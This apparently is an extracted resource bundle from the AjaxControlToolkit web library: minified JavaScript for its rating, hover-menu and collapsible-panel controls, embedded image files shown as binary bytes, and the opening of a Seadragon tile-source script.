this._starCssClass},set_StarCssClass:function(a){if(this._starCssClass!=a){this._starCssClass=a;this.raisePropertyChanged("StarCssClass")}}};AjaxControlToolkit.RatingBehavior.registerClass("AjaxControlToolkit.RatingBehavior",AjaxControlToolkit.BehaviorBase);AjaxControlToolkit.RatingEventArgs=function(a){AjaxControlToolkit.RatingEventArgs.initializeBase(this);this._rating=a};AjaxControlToolkit.RatingEventArgs.prototype={get_Rating:function(){return this._rating}};AjaxControlToolkit.RatingEventArgs.registerClass("AjaxControlToolkit.RatingEventArgs",Sys.EventArgs);AjaxControlToolkit.RatingCallbackResultEventArgs=function(a){AjaxControlToolkit.RatingCallbackResultEventArgs.initializeBase(this);this._result=a};AjaxControlToolkit.RatingCallbackResultEventArgs.prototype={get_CallbackResult:function(){return this._result}};AjaxControlToolkit.RatingCallbackResultEventArgs.registerClass("AjaxControlToolkit.RatingCallbackResultEventArgs",Sys.EventArgs);�Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.HoverMenuBehavior=function(c){var b=null,a=this;AjaxControlToolkit.HoverMenuBehavior.initializeBase(a,[c]);a._hoverBehavior=b;a._popupBehavior=b;a._mouseEnterHandler=b;a._mouseLeaveHandler=b;a._unhoverHandler=b;a._hoverHandler=b;a._inHover=b;a._oldClass=b;a._popupElement=b;a._onShowJson=b;a._onHideJson=b;a._popupElement=b;a._hoverCssClass=b;a._offsetX=0;a._offsetY=0;a._popDelay=100;a._hoverDelay=0;a._popupPosition=b};AjaxControlToolkit.HoverMenuBehavior.prototype={initialize:function(){var b=null,a=this;AjaxControlToolkit.HoverMenuBehavior.callBaseMethod(a,"initialize");a._hoverHandler=Function.createDelegate(a,a._onHover);a._unhoverHandler=Function.createDelegate(a,a._onUnhover);a._mouseEnterHandler=Function.createDelegate(a,a._onmouseover);a._mouseLeaveHandler=Function.createDelegate(a,a._onmouseout);var c=a.get_element();$addHandler(c,"mouseover",a._mouseEnterHandler);$addHandler(c,"mouseout",a._mouseLeaveHandler);if(a._popupElement){a._popupBehavior=$create(AjaxControlToolkit.PopupBehavior,{id:a.get_id()+"_PopupBehavior"},b,b,a._popupElement);if(a._popupPosition)a._popupBehavior.set_positioningMode(AjaxControlToolkit.HoverMenuPopupPosition.Absolute);else a._popupBehavior.set_positioningMode(AjaxControlToolkit.HoverMenuPopupPosition.Center);a._onShowJson&&a._popupBehavior.set_onShow(a._onShowJson);a._onHideJson&&a._popupBehavior.set_onHide(a._onHideJson);a._hoverBehavior=$create(AjaxControlToolkit.HoverBehavior,{id:a.get_id()+"_HoverBehavior",hoverDelay:a._hoverDelay,unhoverDelay:a._popDelay,hoverElement:a._popupElement},b,b,c);a._hoverBehavior.add_hover(a._hoverHandler);a._hoverBehavior.add_unhover(a._unhoverHandler)}},dispose:function(){var b=null,a=this;a._onShowJson=b;a._onHideJson=b;if(a._popupBehavior){a._popupBehavior.dispose();a._popupBehavior=b}if(a._popupElement)a._popupElement=b;a._mouseEnterHandler&&$removeHandler(a.get_element(),"mouseover",a._mouseEnterHandler);a._mouseLeaveHandler&&$removeHandler(a.get_element(),"mouseout",a._mouseLeaveHandler);if(a._hoverBehavior){if(a._hoverHandler){a._hoverBehavior.remove_hover(a._hoverHandler);a._hoverHandler=b}if(a._unhoverHandler){a._hoverBehavior.remove_hover(a._unhoverHandler);a._unhoverHandler=b}a._hoverBehavior.dispose();a._hoverBehavior=b}AjaxControlToolkit.HoverMenuBehavior.callBaseMethod(a,"dispose")},_getLeftOffset:function(){var a=this,c=$common.getLocation(a.get_element()).x,d=$common.getLocation(a.get_popupElement().offsetParent).x,b=0;switch(a._popupPosition){case AjaxControlToolkit.HoverMenuPopupPosition.Left:b=-1*a._popupElement.offsetWidth;break;case AjaxControlToolkit.HoverMenuPopupPosition.Right:b=a.get_element().offsetWidth}return b+c-d+a._offsetX},_getTopOffset:function(){var a=this,c=$common.getLocation(a.get_element()).y,d=$common.getLocation(a.get_popupElement().offsetParent).y,b=0;switch(a._popupPosition){case AjaxControlToolkit.HoverMenuPopupPosition.Top:b=-1*a._popupElement.offsetHeight;break;case AjaxControlToolkit.HoverMenuPopupPosition.Bottom:b=a.get_element().offsetHeight}return c-d+b+a._offsetY},_onHover:function(){var a=this;if(a._inHover)return;var b=new Sys.CancelEventArgs;a.raiseShowing(b);if(b.get_cancel())return;a._inHover=true;a.populate();a._popupBehavior.show();if($common.getCurrentStyle(a._popupElement,"display")=="none")a._popupElement.style.display="block";a._popupBehavior.set_x(a._getLeftOffset());a._popupBehavior.set_y(a._getTopOffset());a.raiseShown(Sys.EventArgs.Empty)},_onUnhover:function(){var a=this,b=new Sys.CancelEventArgs;a.raiseHiding(b);if(b.get_cancel())return;a._inHover=false;a._resetCssClass();a._popupBehavior.hide();a.raiseHidden(Sys.EventArgs.Empty)},_onmouseover:function(){var a=this,b=a.get_element();if(a._hoverCssClass&&b.className!=a._hoverCssClass){a._oldClass=b.className;b.className=a._hoverCssClass}},_onmouseout:function(){this._resetCssClass()},_resetCssClass:function(){var a=this,b=a.get_element();if(!a._inHover&&a._hoverCssClass&&b.className==a._hoverCssClass)b.className=a._oldClass},get_onShow:function(){return this._popupBehavior?this._popupBehavior.get_onShow():this._onShowJson},set_onShow:function(b){var a=this;if(a._popupBehavior)a._popupBehavior.set_onShow(b);else a._onShowJson=b;a.raisePropertyChanged("onShow")},get_onShowBehavior:function(){return this._popupBehavior?this._popupBehavior.get_onShowBehavior():null},onShow:function(){this._popupBehavior&&this._popupBehavior.onShow()},get_onHide:function(){return this._popupBehavior?this._popupBehavior.get_onHide():this._onHideJson},set_onHide:function(b){var a=this;if(a._popupBehavior)a._popupBehavior.set_onHide(b);else a._onHideJson=b;a.raisePropertyChanged("onHide")},get_onHideBehavior:function(){return this._popupBehavior?this._popupBehavior.get_onHideBehavior():null},onHide:function(){this._popupBehavior&&this._popupBehavior.onHide()},get_popupElement:function(){return this._popupElement},set_popupElement:function(b){var a=this;if(a._popupElement!=b){a._popupElement=b;a.get_isInitialized()&&a._hoverBehavior&&a._hoverBehavior.set_hoverElement(a._popupElement);a.raisePropertyChanged("popupElement")}},get_HoverCssClass:function(){return this._hoverCssClass},set_HoverCssClass:function(a){if(this._hoverCssClass!=a){this._hoverCssClass=a;this.raisePropertyChanged("HoverCssClass")}},get_OffsetX:function(){return this._offsetX},set_OffsetX:function(a){if(this._offsetX!=a){this._offsetX=a;this.raisePropertyChanged("OffsetX")}},get_OffsetY:function(){return this._offsetY},set_OffsetY:function(a){if(this._offsetY!=a){this._offsetY=a;this.raisePropertyChanged("OffsetY")}},get_PopupPosition:function(){return this._popupPosition},set_PopupPosition:function(a){if(this._popupPosition!=a){this._popupPosition=a;this.raisePropertyChanged("PopupPosition")}},get_PopDelay:function(){return this._popDelay},set_PopDelay:function(a){if(this._popDelay!=a){this._popDelay=a;this.raisePropertyChanged("PopDelay")}},get_HoverDelay:function(){return this._hoverDelay},set_HoverDelay:function(a){if(this._hoverDelay!=a){this._hoverDelay=a;this.raisePropertyChanged("HoverDelay")}},add_showing:function(a){this.get_events().addHandler("showing",a)},remove_showing:function(a){this.get_events().removeHandler("showing",a)},raiseShowing:function(b){var a=this.get_events().getHandler("showing");a&&a(this,b)},add_shown:function(a){this.get_events().addHandler("shown",a)},remove_shown:function(a){this.get_events().removeHandler("shown",a)},raiseShown:function(b){var a=this.get_events().getHandler("shown");a&&a(this,b)},add_hiding:function(a){this.get_events().addHandler("hiding",a)},remove_hiding:function(a){this.get_events().removeHandler("hiding",a)},raiseHiding:function(b){var a=this.get_events().getHandler("hiding");a&&a(this,b)},add_hidden:function(a){this.get_events().addHandler("hidden",a)},remove_hidden:function(a){this.get_events().removeHandler("hidden",a)},raiseHidden:function(b){var a=this.get_events().getHandler("hidden");a&&a(this,b)}};AjaxControlToolkit.HoverMenuBehavior.registerClass("AjaxControlToolkit.HoverMenuBehavior",AjaxControlToolkit.DynamicPopulateBehaviorBase);AjaxControlToolkit.HoverMenuPopupPosition=function(){throw Error.invalidOperation();};AjaxControlToolkit.HoverMenuPopupPosition.prototype={Center:0,Top:1,Left:2,Bottom:3,Right:4};AjaxControlToolkit.HoverMenuPopupPosition.registerEnum("AjaxControlToolkit.HoverMenuPopupPosition");�:Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.CollapsiblePanelExpandDirection=function(){throw Error.invalidOperation();};AjaxControlToolkit.CollapsiblePanelExpandDirection.prototype={Horizontal:0,Vertical:1};AjaxControlToolkit.CollapsiblePanelExpandDirection.registerEnum("AjaxControlToolkit.CollapsiblePanelExpandDirection",false);AjaxControlToolkit.CollapsiblePanelBehavior=function(c){var b=null,a=this;AjaxControlToolkit.CollapsiblePanelBehavior.initializeBase(a,[c]);a._collapsedSize=0;a._expandedSize=0;a._scrollContents=b;a._collapsed=false;a._expandControlID=b;a._collapseControlID=b;a._textLabelID=b;a._collapsedText=b;a._expandedText=b;a._imageControlID=b;a._expandedImage=b;a._collapsedImage=b;a._suppressPostBack=b;a._autoExpand=b;a._autoCollapse=b;a._expandDirection=AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical;a._collapseClickHandler=b;a._expandClickHandler=b;a._panelMouseEnterHandler=b;a._panelMouseLeaveHandler=b;a._childDiv=b;a._animation=b};AjaxControlToolkit.CollapsiblePanelBehavior.prototype={initialize:function(){var f="SuppressPostBack",a=this;AjaxControlToolkit.CollapsiblePanelBehavior.callBaseMethod(a,"initialize");var b=a.get_element();a._animation=new AjaxControlToolkit.Animation.LengthAnimation(b,.25,10,"style",null,0,0,"px");if(a._expandDirection==AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical)a._animation.set_propertyKey("height");else a._expandDirection==AjaxControlToolkit.CollapsiblePanelExpandDirection.Horizontal&&a._animation.set_propertyKey("width");a._animation.add_ended(Function.createDelegate(a,a._onAnimateComplete));if(a._suppressPostBack==null)if(b.tagName=="INPUT"&&b.type=="checkbox"){a._suppressPostBack=false;a.raisePropertyChanged(f)}else if(b.tagName=="A"){a._suppressPostBack=true;a.raisePropertyChanged(f)}var c=AjaxControlToolkit.CollapsiblePanelBehavior.callBaseMethod(a,"get_ClientState");if(c&&c!=""){var g=Boolean.parse(c);if(a._collapsed!=g){a._collapsed=g;a.raisePropertyChanged("Collapsed")}}a._setupChildDiv();if(a._collapsed)a._setTargetSize(a._getCollapsedSize());else a._setTargetSize(a._getExpandedSize());a._setupState(a._collapsed);if(a._collapseControlID==a._expandControlID){a._collapseClickHandler=Function.createDelegate(a,a.togglePanel);a._expandClickHandler=null}else{a._collapseClickHandler=Function.createDelegate(a,a.collapsePanel);a._expandClickHandler=Function.createDelegate(a,a.expandPanel)}if(a._autoExpand){a._panelMouseEnterHandler=Function.createDelegate(a,a._onMouseEnter);$addHandler(b,"mouseover",a._panelMouseEnterHandler)}if(a._autoCollapse){a._panelMouseLeaveHandler=Function.createDelegate(a,a._onMouseLeave);$addHandler(b,"mouseout",a._panelMouseLeaveHandler)}if(a._collapseControlID){var d=$get(a._collapseControlID);if(!d)throw Error.argument("CollapseControlID",String.format(AjaxControlToolkit.Resources.CollapsiblePanel_NoControlID,a._collapseControlID));else $addHandler(d,"click",a._collapseClickHandler)}if(a._expandControlID)if(a._expandClickHandler){var e=$get(a._expandControlID);if(!e)throw Error.argument("ExpandControlID",String.format(AjaxControlToolkit.Resources.CollapsiblePanel_NoControlID,a._expandControlID));else $addHandler(e,"click",a._expandClickHandler)}},dispose:function(){var b=null,a=this,e=a.get_element();if(a._collapseClickHandler){var c=a._collapseControlID?$get(a._collapseControlID):b;c&&$removeHandler(c,"click",a._collapseClickHandler);a._collapseClickHandler=b}if(a._expandClickHandler){var d=a._expandControlID?$get(a._expandControlID):b;d&&$removeHandler(d,"click",a._expandClickHandler);a._expandClickHandler=b}a._panelMouseEnterHandler&&$removeHandler(e,"mouseover",a._panelMouseEnterHandler);a._panelMouseLeaveHandler&&$removeHandler(e,"mouseout",a._panelMouseLeaveHandler);if(a._animation){a._animation.dispose();a._animation=b}AjaxControlToolkit.CollapsiblePanelBehavior.callBaseMethod(a,"dispose")},togglePanel:function(a){this._toggle(a)},expandPanel:function(a){this._doOpen(a)},collapsePanel:function(a){this._doClose(a)},_checkCollapseHide:function(){if(this._collapsed&&this._getTargetSize()==0){var a=this.get_element(),b=$common.getCurrentStyle(a,"display");if(!a.oldDisplay&&b!="none"){a.oldDisplay=b;a.style.display="none"}return true}return false},_doClose:function(b){var a=this,c=new Sys.CancelEventArgs;a.raiseCollapsing(c);if(c.get_cancel())return;if(a._animation){a._animation.stop();a._animation.set_startValue(a._getTargetSize());a._animation.set_endValue(a._getCollapsedSize());a._animation.play()}a._setupState(true);if(a._suppressPostBack)if(b&&b.preventDefault)b.preventDefault();else{if(b)b.returnValue=false;return false}},_doOpen:function(c){var d="display",a=this,e=new Sys.CancelEventArgs;a.raiseExpanding(e);if(e.get_cancel())return;if(a._animation){a._animation.stop();var b=a.get_element();if(a._checkCollapseHide()&&$common.getCurrentStyle(b,d,b.style.display)){if(b.oldDisplay)b.style.display=b.oldDisplay;else if(b.style.removeAttribute)b.style.removeAttribute(d);else b.style.removeProperty(d);b.oldDisplay=null}a._animation.set_startValue(a._getTargetSize());a._animation.set_endValue(a._getExpandedSize());a._animation.play()}a._setupState(false);if(a._suppressPostBack)if(c&&c.preventDefault)c.preventDefault();else{if(c)c.returnValue=false;return false}},_onAnimateComplete:function(){var a=this,b=a.get_element();if(!a._collapsed&&!a._expandedSize)if(a._expandDirection==AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical)if(a._childDiv.offsetHeight<=b.offsetHeight){b.style.height="auto";a.raisePropertyChanged("TargetHeight")}else a._checkCollapseHide();else if(a._childDiv.offsetWidth<=b.offsetWidth){b.style.width="auto";a.raisePropertyChanged("TargetWidth")}else a._checkCollapseHide();else a._checkCollapseHide();if(a._collapsed){a.raiseCollapseComplete();a.raiseCollapsed(Sys.EventArgs.Empty)}else{a.raiseExpandComplete();a.raiseExpanded(new Sys.EventArgs)}},_onMouseEnter:function(a){this._autoExpand&&this.expandPanel(a)},_onMouseLeave:function(a){this._autoCollapse&&this.collapsePanel(a)},_getExpandedSize:function(){var a=this;if(a._expandedSize)return a._expandedSize;if(a._expandDirection==AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical)return a._childDiv.offsetHeight;else if(a._expandDirection==AjaxControlToolkit.CollapsiblePanelExpandDirection.Horizontal)return a._childDiv.offsetWidth},_getCollapsedSize:function(){if(this._collapsedSize)return this._collapsedSize;return 0},_getTargetSize:function(){var b=this,a;if(b._expandDirection==AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical)a=b.get_TargetHeight();else if(b._expandDirection==AjaxControlToolkit.CollapsiblePanelExpandDirection.Horizontal)a=b.get_TargetWidth();if(a===undefined)a=0;return a},_setTargetSize:function(b){var a=this,d=a._collapsed||a._expandedSize,c=a.get_element();if(a._expandDirection==AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical)if(d||b<c.offsetHeight)a.set_TargetHeight(b);else{c.style.height="auto";a.raisePropertyChanged("TargetHeight")}else if(a._expandDirection==AjaxControlToolkit.CollapsiblePanelExpandDirection.Horizontal)if(d||b<c.offsetWidth)a.set_TargetWidth(b);else{c.style.width="auto";a.raisePropertyChanged("TargetWidth")}a._checkCollapseHide()},_setupChildDiv:function(){var f="px",d="auto",h="hidden",g="scroll",c="",a=this,e=a._getTargetSize(),b=a.get_element();a._childDiv=b.cloneNode(false);b.id=c;a._childDiv.style.visibility="visible";a._childDiv.style.display=c;while(b.hasChildNodes()){var i=b.childNodes[0];i=b.removeChild(i);a._childDiv.appendChild(i)}b.setAttribute("style",c);b.className=c;b.style.border="0px";b.style.margin="0px";b.style.padding="0px";if(a._scrollContents){if(a._expandDirection==AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical){b.style.overflowY=g;a._childDiv.style.overflowY=c}else{b.style.overflowX=g;a._childDiv.style.overflowX=c}if(Sys.Browser.agent==Sys.Browser.Safari||Sys.Browser.agent==Sys.Browser.Opera){b.style.overflow=g;a._childDiv.style.overflow=c}}else{if(a._expandDirection==AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical){b.style.overflowY=h;a._childDiv.style.overflowY=c}else{b.style.overflowX=h;a._childDiv.style.overflowX=c}if(Sys.Browser.Agent==Sys.Browser.Safari||Sys.Browser.Agent==Sys.Browser.Opera){b.style.overflow=h;a._childDiv.style.overflow=c}}a._childDiv.style.position=c;if(e==a._collapsedSize)if(a._expandDirection==AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical)a._childDiv.style.height=d;else if(a._expandDirection==AjaxControlToolkit.CollapsiblePanelExpandDirection.Horizontal)a._childDiv.style.width=d;b.appendChild(a._childDiv);b.style.visibility="visible";b.style.display=c;if(a._collapsed)e=a._getCollapsedSize();else e=a._getExpandedSize();if(a._expandDirection==AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical){b.style.height=e+f;if(!a._expandedSize)b.style.height=d;else b.style.height=a._expandedSize+f;a._childDiv.style.height=d}else if(a._expandDirection==AjaxControlToolkit.CollapsiblePanelExpandDirection.Horizontal){b.style.width=e+f;if(!a._expandedSize)b.style.width=d;else b.style.width=a._expandedSize+f;a._childDiv.style.width=d}},_setupState:function(d){var a=this;if(d){if(a._textLabelID&&a._collapsedText){var c=$get(a._textLabelID);if(c)c.innerHTML=a._collapsedText}if(a._imageControlID&&a._collapsedImage){var b=$get(a._imageControlID);if(b&&b.src){b.src=a._collapsedImage;if(a._expandedText||a._collapsedText)b.title=a._collapsedText}}}else{if(a._textLabelID&&a._expandedText){var c=$get(a._textLabelID);if(c)c.innerHTML=a._expandedText}if(a._imageControlID&&a._expandedImage){var b=$get(a._imageControlID);if(b&&b.src){b.src=a._expandedImage;if(a._expandedText||a._collapsedText)b.title=a._expandedText}}}if(a._collapsed!=d){a._collapsed=d;a.raisePropertyChanged("Collapsed")}AjaxControlToolkit.CollapsiblePanelBehavior.callBaseMethod(a,"set_ClientState",[a._collapsed.toString()])},_toggle:function(a){if(this.get_Collapsed())return this.expandPanel(a);else return this.collapsePanel(a)},add_collapsing:function(a){this.get_events().addHandler("collapsing",a)},remove_collapsing:function(a){this.get_events().removeHandler("collapsing",a)},raiseCollapsing:function(b){var a=this.get_events().getHandler("collapsing");a&&a(this,b)},add_collapsed:function(a){this.get_events().addHandler("collapsed",a)},remove_collapsed:function(a){this.get_events().removeHandler("collapsed",a)},raiseCollapsed:function(b){var a=this.get_events().getHandler("collapsed");a&&a(this,b)},add_collapseComplete:function(a){this.get_events().addHandler("collapseComplete",a)},remove_collapseComplete:function(a){this.get_events().removeHandler("collapseComplete",a)},raiseCollapseComplete:function(){var a=this.get_events().getHandler("collapseComplete");a&&a(this,Sys.EventArgs.Empty)},add_expanding:function(a){this.get_events().addHandler("expanding",a)},remove_expanding:function(a){this.get_events().removeHandler("expanding",a)},raiseExpanding:function(b){var a=this.get_events().getHandler("expanding");a&&a(this,b)},add_expanded:function(a){this.get_events().addHandler("expanded",a)},remove_expanded:function(a){this.get_events().removeHandler("expanded",a)},raiseExpanded:function(b){var a=this.get_events().getHandler("expanded");a&&a(this,b)},add_expandComplete:function(a){this.get_events().addHandler("expandComplete",a)},remove_expandComplete:function(a){this.get_events().removeHandler("expandComplete",a)},raiseExpandComplete:function(){var a=this.get_events().getHandler("expandComplete");a&&a(this,Sys.EventArgs.Empty)},get_TargetHeight:function(){return this.get_element().offsetHeight},set_TargetHeight:function(a){this.get_element().style.height=a+"px";this.raisePropertyChanged("TargetHeight")},get_TargetWidth:function(){return this.get_element().offsetWidth},set_TargetWidth:function(a){this.get_element().style.width=a+"px";this.raisePropertyChanged("TargetWidth")},get_Collapsed:function(){return this._collapsed},set_Collapsed:function(b){var a=this;if(a.get_isInitialized()&&a.get_element()&&b!=a.get_Collapsed())a.togglePanel();else{a._collapsed=b;a.raisePropertyChanged("Collapsed")}},get_CollapsedSize:function(){return this._collapsedSize},set_CollapsedSize:function(a){if(this._collapsedSize!=a){this._collapsedSize=a;this.raisePropertyChanged("CollapsedSize")}},get_ExpandedSize:function(){return this._expandedSize},set_ExpandedSize:function(a){if(this._expandedSize!=a){this._expandedSize=a;this.raisePropertyChanged("ExpandedSize")}},get_CollapseControlID:function(){return this._collapseControlID},set_CollapseControlID:function(a){if(this._collapseControlID!=a){this._collapseControlID=a;this.raisePropertyChanged("CollapseControlID")}},get_ExpandControlID:function(){return this._expandControlID},set_ExpandControlID:function(a){if(this._expandControlID!=a){this._expandControlID=a;this.raisePropertyChanged("ExpandControlID")}},get_ScrollContents:function(){return this._scrollContents},set_ScrollContents:function(a){if(this._scrollContents!=a){this._scrollContents=a;this.raisePropertyChanged("ScrollContents")}},get_SuppressPostBack:function(){return this._suppressPostBack},set_SuppressPostBack:function(a){if(this._suppressPostBack!=a){this._suppressPostBack=a;this.raisePropertyChanged("SuppressPostBack")}},get_TextLabelID:function(){return this._textLabelID},set_TextLabelID:function(a){if(this._textLabelID!=a){this._textLabelID=a;this.raisePropertyChanged("TextLabelID")}},get_ExpandedText:function(){return this._expandedText},set_ExpandedText:function(a){if(this._expandedText!=a){this._expandedText=a;this.raisePropertyChanged("ExpandedText")}},get_CollapsedText:function(){return this._collapsedText},set_CollapsedText:function(a){if(this._collapsedText!=a){this._collapsedText=a;this.raisePropertyChanged("CollapsedText")}},get_ImageControlID:function(){return this._imageControlID},set_ImageControlID:function(a){if(this._imageControlID!=a){this._imageControlID=a;this.raisePropertyChanged("ImageControlID")}},get_ExpandedImage:function(){return this._expandedImage},set_ExpandedImage:function(a){if(this._expandedImage!=a){this._expandedImage=a;this.raisePropertyChanged("ExpandedImage")}},get_CollapsedImage:function(){return this._collapsedImage},set_CollapsedImage:function(a){if(this._collapsedImage!=a){this._collapsedImage=a;this.raisePropertyChanged("CollapsedImage")}},get_AutoExpand:function(){return this._autoExpand},set_AutoExpand:function(a){if(this._autoExpand!=a){this._autoExpand=a;this.raisePropertyChanged("AutoExpand")}},get_AutoCollapse:function(){return this._autoCollapse},set_AutoCollapse:function(a){if(this._autoCollapse!=a){this._autoCollapse=a;this.raisePropertyChanged("AutoCollapse")}},get_ExpandDirection:function(){return this._expandDirection==AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical},set_ExpandDirection:function(a){if(this._expandDirection!=a){this._expandDirection=a;this.raisePropertyChanged("ExpandDirection")}}};AjaxControlToolkit.CollapsiblePanelBehavior.registerClass("AjaxControlToolkit.CollapsiblePanelBehavior",AjaxControlToolkit.BehaviorBase);��PNG


IHDRd;ܨ�gAMA���aPLTE			


   ,,,---111322:::3_.Lq6AjCCCEDDFFFIIILKKLLLNNNOOOPPPQQQ]\\Sa}`__```aaaeddeeeiiikkklllooopppqqquuuwwwyyyzzz|||~}}~~~$P�"W�+x�-z�,y�7y�:�Ys�=��>��y��v��F��\��T��T��Y��l��s��y��h��l��j��z�������������������������������������������������������������������������������������������������������������������������������������������������������������������������φ�ᐾ檲Ȁ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������3w�tRNS���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������S�%tEXtSoftwarePaint.NET v3.350@IDATHK���WA�G��(�ް��+����7,��)�6FqY��!nb2F�hHL1"��ĝ�7k8G���~�~����d�ɠH��ˊ�4b����0}u�"�R�5(�b��:\�Xn~G�,�g��8C!���i
��u��T��.�jr���3W��ެy��|�_����7<��Kr9��ܼ�>�����2K^��0|��]�����*z�+�d̹�r��;"ES������_�ˡ�"]B�^׫�䧺���Z2w�e�V��#�͖��T�
�U�{kMk��`���blKϾ>�����]<G��mǸ���!R��J��EOC���f'��R�zu_<c���$$�!�N�Gw��2~-C���d���%�VKvIG�kg6�=}�NBp}&s�!�C��:(S��Td����l��,T���w.8v��~,Z���(=&�𐦍�����c�*W5B�-��&l�n���fI�ۈ�Z��k��`�"֍�$��hTU#t��	%n���'|��<���:�k1P�ހ1�c��kk�3��;�Y��Qމ�}Gz%)��t��'��C;��Ϩg� tqJA2��:��3(u둊R\R�ίK��T�A��Cf�Z���V5B�2X"��N��/�����)tJ��
I�G
�_H$@7h��iv^I"�A�j�Z>Xƒ��M�8�mϕ,��P�L~m�q�����uM�y�CgHh԰7�Ol�D�J>�j�a�s���)7�4�9\a!�~�%FP�^����q��z�.�����&R���y6�>�oo��<n=k\7S�%�JS6��g|$��XI�_����$enBmIEND�B`�6   �& h�( @ �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������ZZZ�����{((&XXX�WWW�WWW�t$WWW�WWW�WWW�WWW�WWW�t$WWW��`)�ёr�Џp�эl�Њh�ⵠ��������֒p��yO��uI�WWW��m>��i8��f3�㬐�����泙��i4��Y ��Y ��j8��������������������WWW�����������������WWW�����������������\\\�������������Y ��uI����������������WWW�WWW�����������������WWW�����������������WWW�WWW���������Y �ρY������������WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�����Y ���������������������������������Ћh����������������WWW�WWW�����������������WWW�����������������WWW�WWW���������Y ��������������������������ёr��������������������WWW�����������������WWW�����������������WWW�������������Y ��������������������������ёr�ёr�яp�Ўm�Ќi�彩�����亥�΀X��|S����������ো��n?�ᦊ�����尔��m;��]%��Z"�����������������������������������������������������������ooo���������������������������������������������������������WWW�WWW�WWW�WWW�WWW��������������������������������������������������������~~~�WWW�WWW�t$����������������������������������������������������������������������������WWW�����t$�����������������������������������������������������������������������������������������(  ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������WWW�����WWW�WWW�WWW��Y ��Y ��Y �ݗt������ʷ����iii�����ν�����ىa��Z"��uI������������XXX���������WWW���������WWW�����~��uI��������WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW�WWW������uI������������WWW���������WWW���������WWW�����Y �������������ёr�������������������������hhh������������������Z!�����������ёr�ёr�Ўn�Њh�υa�����WWW�WWW�WWW������d1��`*��\$��������������������������������WWW����������������������������������������������������������������������������������������������������������������������������GIF89a�����������������������������������������������������������������������������������������������������������������������������������~~~}}}vvvhhhXXXRRRKKKEEEDDDAAA???===555333���!�;,���pH,��r�l6�I��	�Z�ի5+5,	)�Y��t9uUE�|��l����\$!/:"xm:89'I%:)��g3
�*:#��U�g2,�14��P���#:(�P���--�P��� +��P�����P�����P�����P�����P�����G��A;GIF89a�?����d����\�������������u����������������������������㊯˻��������������������������*��?�������U~�����������l����������������������������!�?,���pH,���a�l:�M��Z�ث��P��,�"��C���`��|.TD 8��P(�8���B="<*4}5+.<���B:21�+���B9<!, /!����<�{�-! �� B<:0��:���B�	k36	����	I6'&�I�	��7��7�ٻq I!�n\y�E��64�w@�*]z��#��H�B�/s�@G�6l|q�@��*+�AB�)�8 @��1�� P�I�D�J$z�P�P��Fh݊�i�#`�;�GIF89a����������Ny�������������������������333���!�,���I��E��{��'��hn�F��j�6t]�.'oA�� �bs��Q �-���t HmX�����o�uijz]v-�|N_�x"~���	2	X6� ���c?� �1���� �=���� �����;�GIF89a����.a�9j�Ev�[��;t�F}�L��N�����������C~�K������N��s�ꃤ�r����������������������������������������R��������������������������������ޛ�������ѡ�����������������������������������������������������������������������������������������Q��w��w��u��{�鐼�������������������[��u�냱ㆮۚ������������ν������)^�a��b��V�����냪Ҟ���������cv�����������j�����������삼������������������������������������������ѵ�����������!��,�q	H����9v��Ç
b�ŋ3^H$	' �<�@2�ɐ�4��a�8�!�!���8[
�`�@{:J�b��K
<lY�T��a@�T'� -�V��� ���_Z�R�O�Js2�3*�*Tk��;W�1'����>�>y´b��Ç�@��Dxq��H̓�h�,P��Q0!�)Q�*@`��k�Y��QJS�|f�j�
�of̐#��0h��T����b��nG
4˜��Ǥ@�L��7�|<y9n��cb��%JĈ�|C���C�!G(�Dx�r�-�ؒH�p1FxE�@A�`1^y^a��`���Au^��-A_�!�W#��b��E[|�@P`����䒯��#XE)e@;�GIF89a����:�I�J�T������������������������������������������������������������������������������������������������������������������������������������������������/a�9j�;k�V��R{�y����Ǒ�ϒ�Ϫ����R�+]�2c�3d�6f�Dr�Fr�S}�]��h��y�����������������������!�j,��j������!#%&������'*./������+157������06;������
;>?������7B������;@EESOI�PP��тCG�\]GQWdh����H�FW]VaiJ���9
�RV`iD���Q��AÆ�d�B%�6hАA.l���&f�laq��8D� 肆�'�`Sf��/1Z�@ `D��6���B��3:r�8SEAR�8QB��E?��k�9�E��P�P�C��F��h�c�W6j(�!�E
p	"d�!A�`����h��Ax��~
1�xnA8|yp/�i�1;Ěu ;iGIF89a�������������������������������������������333!�,�@�pH,���r�l
���3JUN���v��B���x<�.	��z�6�Wy.6+	��M�tt~�����	B��s��������
��d�
��������c��
�
����	������������G��A;�GIF89a
�d�ml�un�wn�wr�zp�ys�|w�w��{��|������������������������������Ě�Ɯ�ĝ�Ɵ�ɠ�ơ�ɣ�̢�̥�Χ�Ω�ѫ�ӭ�֯�ر�س�۵��»�Ŀ��������!��,
�K|�a�.���!��
&<X !D�"Nt@"E
'N�0A��� E�� eȑ#X�TIbB��#k��Ir��$$����ĈCS����B
���V��|����Za:� ��@`��]k@�
  ��;�%Type.registerNamespace('AjaxControlToolkit.Seadragon');

AjaxControlToolkit.Seadragon.DziError = function(message) {
    AjaxControlToolkit.Seadragon.DziError.initializeBase(this, [message]);
    this.message = message;
}
AjaxControlToolkit.Seadragon.DziError.registerClass('AjaxControlToolkit.Seadragon.DziError', Error);

AjaxControlToolkit.Seadragon.DziTileSource = function(width, height, tileSize, tileOverlap, tilesUrl, fileFormat, displayRects) {
